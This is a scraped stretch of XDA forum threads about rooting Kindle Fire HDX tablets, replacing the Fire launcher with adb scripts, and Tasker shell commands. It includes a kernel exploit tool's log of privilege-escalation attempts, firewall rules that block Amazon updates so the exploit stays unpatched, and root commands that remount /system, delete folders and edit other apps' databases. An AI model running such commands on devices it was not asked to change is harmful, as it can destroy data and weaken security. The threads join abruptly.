At this point, there are no custome roms & there are no custom recoveries, just root access. I also have the Play Store working, which was just a matter of changing the ro.build.host to point to Google. Again, no easy way to do it yet. Since you are asking about "flashing" this, I would suggest you wait. Either that, or go back & read about some of the old root methods & how to use ADB. There is no flashing this file. You use ADB to push the files, & shell to change owner/permissions. You then run a script (again via adb) that moves the SU binary into xbin. Currently, there is still a bit of a trick to get SU going, but it is pretty easy if you understand the basics of ADB.
Really, what this means is that now the gates have been cracked & it is possible to start building recoveries, roms & all that good stuff.
---------- Post added at 11:21 AM ---------- Previous post was at 11:17 AM ----------
Epedemic said:
Guess it does not work on 7" (fire os 3.1 updated, ver 13.3.1.0):
Device detected: KFTHWI (JDQ39)
Try to find address in memory...
Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x00008000 form iomem
Attempt fb_mem exploit...
Detected kernel physical address at 0x00008000 form iomem
You need to manage to get remap_pfn_range addresses.
Failed to get prepare_kernel_cred addresses.
Failed to get commit_creds addresses.
Failed to get ptmx_fops addresses.
KFTHWI (JDQ39) is not supported.
Failed to setup variables.
Have hopes it will be possible soon enough though
Click to expand...
Click to collapse
Most likely, it is going to take a little address rework of the exploit. I am about 100% certain the exploit is there though.

GSLEON3 said:
I am going to tak as many questions as possible, but will probably do something in the Q&A section to keep this clean. Right now, this is a manual adb exploit, though if you have a rooted device & USB OTG, you can use root transmission. Currently, it is fairly easy & straight forward, but you will need adb to utilize this root method. jcase said we could package it into a one click, but that is going to take some time.
At this point, there are no custome roms & there are no custom recoveries, just root access. I also have the Play Store working, which was just a matter of changing the ro.build.host to point to Google. Again, no easy way to do it yet. Since you are asking about "flashing" this, I would suggest you wait. Either that, or go back & read about some of the old root methods & how to use ADB. There is no flashing this file. You use ADB to push the files, & shell to change owner/permissions. You then run a script (again via adb) that moves the SU binary into xbin. Currently, there is still a bit of a trick to get SU going, but it is pretty easy if you understand the basics of ADB.
Really, what this means is that now the gates have been cracked & it is possible to start building recoveries, roms & all that good stuff.
Click to expand...
Click to collapse
Awesome. Thanks for the explanation. I will wait for a one click method or recovery to be made unless I get impatient.

Epedemic said:
Guess it does not work on 7" (fire os 3.1 updated, ver 13.3.1.0):
Device detected: KFTHWI (JDQ39)
Try to find address in memory...
Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x00008000 form iomem
Attempt fb_mem exploit...
Detected kernel physical address at 0x00008000 form iomem
You need to manage to get remap_pfn_range addresses.
Failed to get prepare_kernel_cred addresses.
Failed to get commit_creds addresses.
Failed to get ptmx_fops addresses.
KFTHWI (JDQ39) is not supported.
Failed to setup variables.
Have hopes it will be possible soon enough though
Click to expand...
Click to collapse
No but download the update.bin for your firmware from amazon, send me boot.img and system/build.prop and will port it

Congratulations @jcase on the hard work you put in for us. As a freshman computer engineering student it's things like this that make me want to work harder at my studies, put in that extra time studying for that test, seeking out opportunities my professors give, and hopefully being able to give back to XDA as much as you do. I doubt I'll ever get there but it's worth trying , great job again man :highfive:.

jcase said:
No but download the update.bin for your firmware from amazon, send me boot.img and system/build.prop and will port it
Click to expand...
Click to collapse
Update is here: http://www.amazon.com/gp/help/customer/display.html/ref=hp_left_v4_sib?ie=UTF8&nodeId=201357190
I extracted build.prop and it can be found here: https://www.dropbox.com/sh/t9wv1aakvopwpyt/r9nQD3x0Ux
Not sure how to extract boot.img, unless the .bin file from amazon is simply an archive. (in that case it will be on the dropbox link shortly )

Epedemic said:
Update is here: http://www.amazon.com/gp/help/customer/display.html/ref=hp_left_v4_sib?ie=UTF8&nodeId=201357190
I extracted build.prop and it can be found here: https://www.dropbox.com/sh/t9wv1aakvopwpyt/r9nQD3x0Ux
Not sure how to extract boot.img, unless the .bin file from amazon is simply an archive. (in that case it will be on the dropbox link shortly )
Click to expand...
Click to collapse
@Epedemic - The .bin is an archive.

GSLEON3 said:
@Epedemic - The .bin is an archive.
Click to expand...
Click to collapse
Thanks! Boot.img is on the dropbox link as well now

Epedemic said:
Thanks! Boot.img is on the dropbox link as well now
Click to expand...
Click to collapse
Hope we get the HDX7 13.3.1.0 Root soon, cant wait to get the Playstore on my HDX

BTW i will be going to sleep in a couple of hours at the latest, and then vacation until friday. But i am sure you can find someone else to test the 7" version

Epedemic said:
BTW i will be going to sleep in a couple of hours at the latest, and then vacation until friday. But i am sure you can find someone else to test the 7" version
Click to expand...
Click to collapse
No worries if something gets posted tonight I will test it out my hdx 7.

You can send it to me for testing no problem
Gesendet von meinem Nexus 4 mit Tapatalk

Thanks for root jcase!
If you really don't want my part of the money I put up for achieving root then I will do as you suggested and donate it to charity

Awwwwwwwwwwwwwwwwe shet! Root - root. Thank you to those who made this happen.

Dude!!! You guys are the best!! I get mine (HDX 7") in December, so I hope by then to have an easy root method and maybe even a rom or two. :good:

Just in case Amazon fixes the exploit in an update I have blocked the update servers from getting through my router.
The IPs below are the update servers in case anyone else wants to block them.
Code:
72.21.194.208
176.32.100.136
72.21.195.233
If you have a dd-wrt router just add this to your firewall
Code:
iptables -I FORWARD -d 72.21.194.208 -j DROP
iptables -I FORWARD -d 176.32.100.136 -j DROP
iptables -I FORWARD -d 72.21.195.233 -j DROP
Bitcoin Address: 186NWvr3buDGmpa5ECVGub37YX94NMSsLj

kholdstare said:
Just in case Amazon fixes the exploit in an update I have blocked the update servers from getting through my router.
The IPs below are the update servers in case anyone else wants to block them.
Code:
72.21.194.208
176.32.100.136
72.21.195.233
If you have a dd-wrt router just add this to your firewall
Code:
iptables -I FORWARD -d 72.21.194.208 -j DROP
iptables -I FORWARD -d 176.32.100.136 -j DROP
iptables -I FORWARD -d 72.21.195.233 -j DROP
Bitcoin Address: 186NWvr3buDGmpa5ECVGub37YX94NMSsLj
Click to expand...
Click to collapse
Can't Amazon just change the update server addresses to circumvent this? Assuming they care enough about this to patch it quickly, wouldn't they try to get updates through anyway they can? Or do Kindle updates only listen to a specific set of addresses? The HD's allowed a downgrade, do the HDX's prevent downgrade? The mind is ablur with possibilities.

EDIT 09/23/16
I finally found a permanent solution to how to change fire launcher on the Amazon Fire without root. It works on any version (FireOS 5.3.1) on any tablet variant (7, HD 8, HD 10 etc...).
You can read the detailed tutorial at http://forum.xda-developers.com/ama...-remove-default-launcher-amazon-fire-t3288310 but basically you run one command, must be done after reboot currently via adb shell:
Noval Launcher on Amazon Fire no-root:
Code:
nohup logcat -c; logcat | grep --line-buffered 'flg=0x10200000 cmp=com.amazon.firelauncher/.Launcher' | while read line; do am start com.teslacoilsw.launcher/.NovaLauncher; done &
That's it. Once you paste that into your adb shell you're done; you now have a default launcher programmatically set via ADB.
Optionally, you can install the modded firelauncher.apk so you can finally delete it without root .
(this is optional, you wont have any launcher after doing this! backup your old APK!!)
Code:
adb install -r -d com.amazon.firelauncher.apk
... as you can now see this will -r reinstall and -d downgrade the launcher, causing it to crash and never open.
Thanks for your support guys, I love android!
EDIT:
I have updated with a new method that is much better, the only negative to this new method is when you hit the home button, for a brief moment you see the firelauncher. Performance, speed, and bugs are perfect.
Just paste this code in adb shell, I'm working on setting up nohup to work with it, when you close adb it will stop working.. Going to bed for now though.
Code:
#!/bin/bash
am monitor | while read -r line; do
if [[ $line == *"firelauncher"* ]]
then
am start [B]com.newlauncher.launcher[/B]
fi
done
I'm new to the whole Android scene, and recently I had acquired an Amazon Fire HD 8. The only complaint about this tablet is the lack of Google Play and the horrible firelauncher. There is currently no root options available for the Fire HD modles 8 & 10, so I have spent the time to develop a temporary workaround.
Please take a quick look at the developmental thread I previously created so we can collaborate to make a more efficient version of this:
http://forum.xda-developers.com/hd8...zon-fire-hd-8-10-remove-firelauncher-t3286646
Disclaimer:
If you plan on installing new applications/packages while this script is running you may have a hard time. Installing packages may take 2-10 minutes, or maybe not at all!
If you experience any problems you can undo everything by running the undo script attatched (unix), or by typing "adb shell ps | grep /system/bin/sh", you will see anywhere from 2-10 processes listed. For each type "adb shell kill -9 <pid>", pid would be the process ID, should be the first number you see on each line.
There is a small chance when you press the home button that it will load the regular firelauncher, do not fret, try again and it will go to whichever launcher you previously selected.
Performance may be slightly altered, if it becomes too bad to use try adjusting the script and change the interval at which it loops (set to 20 by default).
This is an alpha experiment, and I am a noob with Android so please bare with me
This is a noobish approach to disabling the firelauncher (com.amazon.firelauncher.apk), please do not judge it, this is also my first time releasing something for Android.
If you are using a unix operating system (like Linux or Mac), I have compiled a script that does the work for you! Windows users will have to wait and do it manually since I am unfamilar with batch (would someone like to help with this?)
Automatic Tool (easy, linux, mac only)
Step One:
Download the two script attachments:
remove_default_launcher.sh - disables amazon's firelauncher
re-endable_firelauncher(undo).sh - reverts the process, if you have any issues
Step Two:
Run the following commands to make the scripts executable:
Code:
chmod +x remove_default_launcher.sh
chmod +x re-endable_firelauncher(undo).sh
Run the tool to remove amazon's nasty launcher!
Code:
./remove_default_launcher.sh
Step Three:
The script should automatically do everything, when it's done, check your Fire. Keep pressing the home button and switching between applications until you get the "Change default launcher" dialogue, make sure you have an alternative launcher installed beforehand or else you won't have a launcher! When it's all working how it should be go to step four!
Step Four:
Simply exit out of your terminal window, do not type anything, just exit ADB. The script will continue running!
This is what a successful window looks like, whenever you have confirmed it is working, close out of the ADB window and end that process.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Manually (harder, windows)
Step One:
Open up a new ADB shell window and type
Code:
adb shell
Step Two:
Once you are in the shell window, simply copy and paste this line of code and press return. It is just a simple bash script that loops the command "install -r -d "/system/priv-app/com.amazon.firelauncher/com.amazon.firelauncher.apk"" which will reinstall the firelauncher repeatedly, which temporary uninstalls it.
Code:
#!/system/bin/sh
nohup
while :
do
kill $!
sleep 1 & pm install -r -d "/system/priv-app/com.amazon.firelauncher/com.amazon.firelauncher.apk" & sleep 20; kill $!
kill $!
done &
exit
#press enter now
After pressing enter, you can watch it go to work, or you can close out of the adb window and unplug your device, it will continue to run until you kill the shell processes or reboot the device. Make sure you have an alternative launcher already installed so it can easily be set as default. EDIT: Reboot may not reset it, which is cool but could be annoying. To turn off this wonderful feature open up adb shell and use "ls | grep shell" and kill using "kill <pid>" all releated processes to /bin/shell or whatever. It may take up to a minute to reset.
If you have any issues at all please comment and I will send you a private message with detailed instructions catered to your specific issue!
If you are a dev, take a look at my unix auto-install script, it may help you figure it out yourself as well. I need someone who understands batch to help me write a windows version .
I literally spent about 45 minutes working on this noobish approach, so if you find bugs or want to modify the script, simply post in the comments your version and why you think it is more efficient. If you want to help make a dedicated and more efficient approach to this, check out the development thread here (there are alternative methods here too):
http://forum.xda-developers.com/hd8...zon-fire-hd-8-10-remove-firelauncher-t3286646
This appears to be a very stable system actually, I recommend everyone does this to the Fire HD tablets!
I hope this helps someone, if this helps you please give me a thanks so I know it

Confused as to why you'd post this here after using the correct forum section for the HD8 and 10 already.

Pond-life said:
Confused as to why you'd post this here after using the correct forum section for the HD8 and 10 already.
Click to expand...
Click to collapse
I was not sure whether it was the correct forum actually, it is stable enough to use for all versions of Fire now, so I posted for users who do not want to root their device, but hate the launcher. If you think it is in the wrong place I will remove it promptly. I actually did post this in the wrong spot.. It is in development instead... At least there will not be any flaming here
I have also noticed 6x more downloads in 1/5 of the time this thread has been posted compared to the other.

I have updated with a new method that is much better, the only negative to this new method is when you hit the home button, for a brief moment you see the firelauncher. Performance, speed, and bugs are perfect.
Just paste this code in adb shell, I'm working on setting up nohup to work with it, when you close adb it will stop working.. Going to bed for now though.
Code:
#!/bin/bash
am monitor | while read -r line; do
if [[ $line == *"firelauncher"* ]]
then
am start [B]com.newlauncher.launcher[/B]
fi
done

Good job on this!

glitch3yf0x said:
Good job on this!
Click to expand...
Click to collapse
No problem, hopefully I will find some more time to work on this in the future .
I am glad you like it.

nyln said:
If you are using a unix operating system (like Linux or Mac), I have compiled a script that does the work for you! Windows users will have to wait and do it manually since I am unfamilar with batch (would someone like to help with this?)
Click to expand...
Click to collapse
If you're still in need, I'd be happy to help port it to windows!

as for me,on windows, worked simply:
adb shell
pm hide com.amazon.firelauncher
to enable the fire launcher again,
adb shell
pm unhide com.amazon.firelauncher

This is one of the best thread for Fire OS world! Can't wait for you to perfect this.
P.S: Plz, someone here port it to Windows.

Does it work on Fire 5.3.1 ?

Please message me if you want me to keep working on this. After the root I stopped.

working great. And how to restore in the laucher back?
I am in Win10

update: After reboot, it turns back to original FireOS launcher. Is there a way to make it auto applied?

ttcontributor said:
update: After reboot, it turns back to original FireOS launcher. Is there a way to make it auto applied?
Click to expand...
Click to collapse
I will do some work on it. I am not an android developer, so maybe i will write a python application.

nyln said:
I will do some work on it. I am not an android developer, so maybe i will write a python application.
Click to expand...
Click to collapse
It's great to hear you still have your hands on this

nerakkaren said:
as for me,on windows, worked simply:
adb shell
pm hide com.amazon.firelauncher
to enable the fire launcher again,
adb shell
pm unhide com.amazon.firelauncher
Click to expand...
Click to collapse
If I am not mistaken, this will only bennefit those who have a rooted device. Fire 7 and HD 8 got updated via OTA removing my root. I am now working on a better way right now .
Please PM or Thank me if you're interested in this, it'll come out faster if I know people are waiting

I finally found a permanent solution to how to change fire launcher on the Amazon Fire without root. It works on any version (FireOS 5.3.1) on any tablet variant (7, HD 8, HD 10 etc...).
You can read the detailed tutorial at http://forum.xda-developers.com/ama...-remove-default-launcher-amazon-fire-t3288310 but basically you run one command, must be done after reboot currently via adb shell:
Noval Launcher on Amazon Fire no-root:
Code:
nohup logcat -c; logcat | grep --line-buffered 'flg=0x10200000 cmp=com.amazon.firelauncher/.Launcher' | while read line; do am start com.teslacoilsw.launcher/.NovaLauncher; done &
That's it. Once you paste that into your adb shell you're done; you now have a default launcher programmatically set via ADB.
Optionally, you can install the modded firelauncher.apk so you can finally delete it without root .
Thanks for your support guys, I love android!

Here is a teaser of my application:

[email protected]:/ $ adb install -r -d com.amazon.firelauncher.apk
/system/bin/sh: adb: not found
im getting this error, so i still c the default launcher for a couple of seconds before it goes to nova launcher

ahac85 said:
[email protected]:/ $ adb install -r -d com.amazon.firelauncher.apk
/system/bin/sh: adb: not found
im getting this error, so i still c the default launcher for a couple of seconds before it goes to nova launcher
Click to expand...
Click to collapse
You are already inside adb shell, type exit then type it again silly

Hello guys.
I stumbled across a reddit thread providing some run shell commands to replace secure settings. The fixes on Android 6.0 allowed me to install and grand the root permissions but never actually worked as intended. Secure settings still returns errors when used.
Long story short I built on the list adding ones I used before from my list.
Here is about 30 most common run shell commands. I will update list if i come across some new ones. Also appreciate your input if you happen to use some good ones.
You can access it all here:
http://www.notenoughtech.com/tasker/tasker-run-shell-commands/
Happy tasking. :good:

Boy, where do I start? The list would be endless. Anyway, here are some, not all, that I use.
Root commands
Open power menu: sendevent /dev/input/event0 1 116 108 && sendevent /dev/input/event0 0 0 0
Restart SystemUI: pkill -l TERM -f com.android.systemui
Safe reboot: svc power reboot
Safe reboot to recovery: svc power reboot recovery
Get list of all system/global/secure settings along with their values; using system settings as example: settings list system
Read system/global/secure setting to a variable; using secure setting accessibility_enabled as example: settings get secure accessibility_enabled
Change system/global/secure setting; using secure setting accessibility_enabled as example: settings put secure accessibility_enabled 0
Make /system rewritable: mount -o remount,rw /system
Make /system read-only: mount -o remount,ro /system
Change file permissions, using /system/etc/hosts as example; numbers are 7 for rwx, 6 for rw, 4 for r; first number is for root (system user), second is for group, third is for all users: chmod 644 /system/etc/hosts
Tap at x,y pixels on screen, using 540,1500 as example: input tap 540 1500
Swipe from x1,y1 to x2,y2, using 540,1500 to 540,300 (swipe up) as example: input swipe 540 1500 540 300
Read/change another app's database; can't give examples as this would need a full tutorial: sqlite3 /path/to/.db_file "sqlite3 commands";
non-root command
Open any app from a variable %package_name containing com.paclage.name; this one is javascript, not shell script [note that you don't want to put % before variable in javascript]: loadApp(package_name, '', false);
Extract %file zip file to /sdcard: unzip %file /sdcard/
Move a file: mv /original/path /new/path
Copy a file: cp /original/path /new/path
Read a file to a variable: cat /path/to/file
Write %var to a file: echo %var > /path/to/file
Delete a file: rm /path/to/file
Delete a folder and all its contents: rm -r /path/to/folder
Check whether a process is doing something or not; set the output to a variable, set a wait for some time, and then get the output again, if output has changed then the process is doing something: ps | grep com.package.name

Sukarn said:
Boy, where do I start? The list would be endless. Anyway, here are some, not all, that I use.
Click to expand...
Click to collapse
Thanks I'm updating the page as I type this! - I completely forgot about file operations if I'm honest. Good to have others to contribute!

quintaar said:
Thanks I'm updating the page as I type this! - I completely forgot about file operations if I'm honest. Good to have others to contribute!
Click to expand...
Click to collapse
You need to proofread that page. There are lots of errors in there that will stump newbs

Sukarn said:
You need to proofread that page. There are lots of errors in there that will stump newbs
Click to expand...
Click to collapse
That's what I'm doing now , trying to put them, in some logical order as well, to make it easy to find, and use. I do appreciate the time taken to type this.

Is input keyevent correct for emulating the power button in a shell command? The # on the website didn't work. I found the generic.kl file in my /system/usr folders and the key # for power listed there did now work with that shell command, either. Even with run as root checked.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

LeftyGR said:
Is input keyevent correct for emulating the power button in a shell command? The # on the website didn't work. I found the generic.kl file in my /system/usr folders and the key # for power listed there did now work with that shell command, either. Even with run as root checked.
Click to expand...
Click to collapse
I believe hardware keys would be device specific, ego could have different codes.

quintaar said:
I believe hardware keys would be device specific, ego could have different codes.
Click to expand...
Click to collapse
I guess my real question is that the correct shell command as it is written? Because with my specific device key code did not do anything.

Are you trying to do this when the phone display is on or off? this only works when screen is on. input keyevent 26 works fine on my device

quintaar said:
Are you trying to do this when the phone display is on or off? this only works when screen is on. input keyevent 26 works fine on my device
Click to expand...
Click to collapse
On... Guess it does not like me.

LeftyGR said:
On... Guess it does not like me.
Click to expand...
Click to collapse
Do you get any error? My most common mistake is spelling the run shell with upper case, as my keyboard automatically corrects it. And if I forget to change it, it returns an error

quintaar said:
Do you get any error? My most common mistake is spelling the run shell with upper case, as my keyboard automatically corrects it. And if I forget to change it, it returns an error
Click to expand...
Click to collapse
Yes. Appears to be a timeout error.

Background Data On/Off? Thanks in advance
Sent from my hlte using XDA-Developers mobile app

LeftyGR said:
Yes. Appears to be a timeout error.
Click to expand...
Click to collapse
I stumbled on this:
http://forum.xda-developers.com/showthread.php?t=2063741
Perhaps will help you more as well

shaharofir said:
Background Data On/Off? Thanks in advance
Sent from my hlte using XDA-Developers mobile app
Click to expand...
Click to collapse
I've not come across the setting, but try to use:
settings list system
settings list global
settings list secure​and see what your device will give you in options lists.

I totally forgot about another shell command that I have set up in Tasker: md5sum /path/to/file
I use it to verify the integrity of downloads in an OTA app I made for a custom ROM using only Tasker.
---------- Post added at 10:52 AM ---------- Previous post was at 10:43 AM ----------
quintaar said:
Are you trying to do this when the phone display is on or off? this only works when screen is on. input keyevent 26 works fine on my device
Click to expand...
Click to collapse
On my phone (OnePlus One), "input keyevent 26" just turns the screen off, while 116 does nothing.
LeftyGR said:
I guess my real question is that the correct shell command as it is written? Because with my specific device key code did not do anything.
Click to expand...
Click to collapse
Did you try the command I posted at the top of my post here? It's the second post in this thread.

quintaar said:
I've not come across the setting, but try to use:
settings list system
settings list global
settings list secure
and see what your device will give you in options lists.
Click to expand...
Click to collapse
Thanks. Will give it a try.

Sukarn said:
I totally forgot about another shell command that I have set up in Tasker: md5sum /path/to/file
.
Click to expand...
Click to collapse
I have added this one as well Thanks

shaharofir said:
Thanks. Will give it a try.
Click to expand...
Click to collapse
Looked, nothing there. Any suggestions?
Sent from my hlte using XDA-Developers mobile app

shaharofir said:
Looked, nothing there. Any suggestions?
Sent from my hlte using XDA-Developers mobile app
Click to expand...
Click to collapse
Perhaps maybe more luck with intents? I'm working on the similar list for it
Sent from my Nexus 6P using Tapatalk